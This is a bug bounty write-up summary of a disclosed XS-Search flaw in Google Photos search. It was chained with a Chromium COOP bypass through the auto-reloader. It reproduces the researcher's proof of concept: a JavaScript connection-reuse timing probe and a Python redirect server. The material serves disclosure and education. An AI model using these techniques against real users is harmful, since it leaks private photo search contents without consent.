# XS-Search on Google Photos

XS-Search timing leak on Google Photos search plus a Chromium COOP bypass via auto-reloader, letting an attacker infer victim photo searches.

- Payout: $4,337
- Severity: medium
- Program: Google
- Found by: NDevTK
- Disclosed: 2024-09-25
- Write-up quality: 8/10
- Original: https://ndevtk.github.io/writeups/2024/09/25/photos/
- Library page: https://bugbountylibrary.com/r/blog%3Andevtk-github-io-writeups-2024-09-25-photos
- Tags: area:os domain:browser domain:web kind:bounty platform:blog sev:medium tech:chromium technique:chained technique:race-window vuln:xs-leak

**Target:** Google Photos search endpoint (photos.google.com/search/) and Chromium COOP/auto-reloader
**Root cause:** Connection reuse to lh3.googleusercontent.com is observable via Resource Timing (timing-allow-origin: *), leaking whether a cross-origin search navigation opened a connection; COOP could be bypassed because Chromium's auto-reloader re-issues a request after an invalid response, dropping the opener isolation.
**Steps:**
1. Call `performance.clearResourceTimings()`, then `fetch('https://lh3.googleusercontent.com/', {mode:'cors'})` and wait 1s.
2. Read `performance.getEntries().pop()`; if `connectStart === startTime` a new connection was opened (not reused).
3. Open a window, wait 30s to let idle connections close, then set `w.location='https://photos.google.com/search/'+query`.
4. After 5s, re-run isConnected(); connection reuse indicates the search page loaded (query exists).
5. For COOP bypass: serve an invalid response first, then a 307 redirect to the target on the second request so Chromium's auto-reloader follows it without COOP enforcement.
**How found:** Observed that lh3.googleusercontent.com sends timing-allow-origin: * and that Resource Timing exposes connectStart, making connection reuse observable; then noticed Chromium's auto-reloader re-issues requests after invalid responses, breaking COOP.
**Exploitation:** Attacker page runs the timing probe against lh3.googleusercontent.com, navigates a popup to the victim's Google Photos search URL, and infers from connection reuse whether the query returned results; the COOP bypass via auto-reloader/max-redirect-limit lets the attacker retain a window reference to read the leak despite Cross-Origin-Opener-Policy.
**Escalation:** COOP bypass generalized to iframe sandbox allow-downloads bypass and extension web-accessible-resource bypass (separate $1000 award).
**Insight:** Resource Timing with timing-allow-origin:* exposes connectStart/startTime, so any cross-origin navigation that opens a fresh TCP connection to a shared host is a detectable XS-Search oracle; also, Chromium's auto-reloader and max-redirect-limit handling re-issue requests in ways that can drop COOP/sandbox isolation.

## Proof of concept (copied exactly from the original report)

**XS-Search connection reuse timing script**

```
async function isConnected() {
 // Detect connection reuse for lh3.googleusercontent.com
 // No timing attack needed because of timing-allow-origin: *
 performance.clearResourceTimings();
 await fetch('https://lh3.googleusercontent.com/', {mode: 'cors'});
 await new Promise((r) => setTimeout(r, 1000));
 let data = performance.getEntries().pop();
 return data.connectStart === data.startTime;
}

async function search(query) {
 let w = open();
 // Close connections using idle timeout.
 await new Promise((r) => setTimeout(r, 30000));
 // First try is free, next needs COOP or user activation bypass.
 w.location = 'https://photos.google.com/search/' + query;
 await new Promise((r) => setTimeout(r, 5000));
 return await isConnected();
}
```

**COOP bypass auto-reloader server**

```
from http.server import BaseHTTPRequestHandler, HTTPServer

sessions = set()

class handler(BaseHTTPRequestHandler):
 def do_GET(self):
 if (self.path not in sessions):
 self.send_response(200)
 self.send_header("Cache-Control", "no-store")
 message = "<invalid>"
 self.wfile.write(bytes(message, "utf8"))
 self.end_headers()
 sessions.add(self.path)
 else:
 self.send_response(307)
 self.send_header('Cache-Control', 'no-store')
 self.send_header('Location','https://photos.google.com/search/duck')
 self.end_headers()
 sessions.remove(self.path)

with HTTPServer(('', 8000), handler) as server:
 server.serve_forever()
```

